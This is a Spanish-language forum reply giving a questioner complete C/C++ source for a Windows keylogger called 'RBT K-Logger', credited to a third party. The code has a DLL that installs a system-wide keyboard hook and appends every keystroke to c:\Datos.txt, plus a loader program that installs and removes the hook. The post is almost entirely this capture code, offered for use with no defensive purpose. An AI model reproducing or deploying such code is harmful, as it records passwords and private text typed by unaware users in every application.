Hola, la verdad que habia visto tu pregunta, por eso no conteste antes, pero encontre el mail que decia que habias contestado, asi que ...bueno aca estoy.
Una cosas importante que tenes que tener en cuenta es que, si queres logear teclas no solo en tu aplicacion, sino en todo el sistema, por lo menos en el subsistema windows, tenes que crear una dll, en donde van a estar la rutina que se ejecutara cuando salte el gancho.
Aca te paso un codigo que no es mio, es de un tal Lympex, no te aseguro 100% que anda pero creo que si.
Vas a tener que hacer la dll y el ejecutable.
dll.h
Código:
#ifndef _DLL_H_
#define _DLL_H_
#if BUILDING_DLL
# define DLLIMPORT __declspec (dllexport)
#else /* Not BUILDING_DLL */
# define DLLIMPORT __declspec (dllimport)
#endif /* Not BUILDING_DLL */
LRESULT CALLBACK Filtro(int nCode, WORD wParam, DWORD lParam);
__declspec(dllexport)int CreaHook(BOOL Instala,HINSTANCE DLLInst);
#endif /* _DLL_H_ */
dll.cpp
Código:
#include <stdio.h>
#include <windows.h>
#include "dll.h"
#pragma data_seg("SharedBlock")
#pragma data_seg()
HHOOK gancho;
/**********************************************/
/*FUNCION PARA FILTRAR LOS RESULTADOS DEL HOOK*/
/**********************************************/
LRESULT CALLBACK Filtro(int nCode/*codigo hook*/, WORD wParam, DWORD lParam) {
if(nCode<0){
return(CallNextHookEx(gancho,nCode,wParam,lParam));
}
//si hay datos, los guardamos
if (lParam & (1 << 31)) {
FILE *datos;
BYTE KeyboardState[256];
GetKeyboardState(KeyboardState);
WORD CharValue;
if(ToAscii(wParam,0,KeyboardState,&CharValue,0) > 0){
if((datos=fopen("c:\\Datos.txt","at"))==NULL){
return CallNextHookEx(gancho,nCode,wParam,lParam);
}
fprintf(datos,"%c",(char)CharValue);
fclose(datos);
}
}
return CallNextHookEx(gancho,nCode,wParam,lParam);
}
/*******************************************************/
/*FUNCIÓN PARA INSTALAR/DESINSTALAR EL HOOK DEL TECLADO*/
/*******************************************************/
__declspec(dllexport)int CreaHook(BOOL Instala, HINSTANCE DLLInst/*Redefiní la funcion*/) {
if(Instala==TRUE) {
gancho=SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)Filtro,DLLInst/*Esta variable es cogida del resultado de "LoadLibrary("nombredll.dll")"*/,0);
if(gancho==NULL){
return 0;
}else{
return 1;
}
}else{
return UnhookWindowsHookEx(gancho);
}
}
/*************************/
/*PROCEDIMIENTO PRINCIPAL*/
/*************************/
BOOL WINAPI DllMain(HANDLE hModule, DWORD dwFunction, LPVOID lpNot)
{
return TRUE;
}
main.cpp
Código:
#include <stdio.h>
#include <windows.h>
typedef void (*LPFuncion)(BOOL,HINSTANCE/*Redefiní la funcion*/);
LPFuncion Funcion=NULL;
/*************************/
/*PROCEDIMIENTO PRINCIPAL*/
/*************************/
int main(int argc, char *argv[])
{
printf("\n #######################################");
printf("\n # [+] RBT K-Logger 1.0 - by Lympex #");
printf("\n # [+] Contacto: #");
printf("\n # - Mail: lympex[at]gmail[dot]com #");
printf("\n # - Site: http://l-bytes.tk #");
printf("\n #######################################\n");
printf("\n + Cargando Dll ...");
//cargamos la Dll
HMODULE Dll=LoadLibrary("hookdll.dll");
if(!Dll){printf("\n[*] No se encontró la Dll: RBT_KLogger.dll\n");return -1;}
printf("OK");
//buscamos la funcion en la dll
printf("\n + Buscando funcion: CreaHook(int) ...");
Funcion = (LPFuncion)GetProcAddress(Dll, "_Z8CreaHookiP11HINSTANCE__"/*Este es el nuevo nombre de la funcion*/);
if(!Funcion){printf("ERROR");FreeLibrary(Dll);getchar();return -1;}
printf("OK");
//ejecutamos la función
Funcion(TRUE,Dll/*Le meti el hmodule para ponerlo despues en la funcion SetWindowsHookEx*/);//instalamos el hook
//esperamos la salida
printf("\n [+] Presione cualquier tecla para finalizar ...");
getchar();
Funcion(FALSE,NULL);//desinstalamos el hook
FreeLibrary(Dll);//liberamos la memoria
return 0;
}
Espero que te sirva.
Chau saludos
Marcadores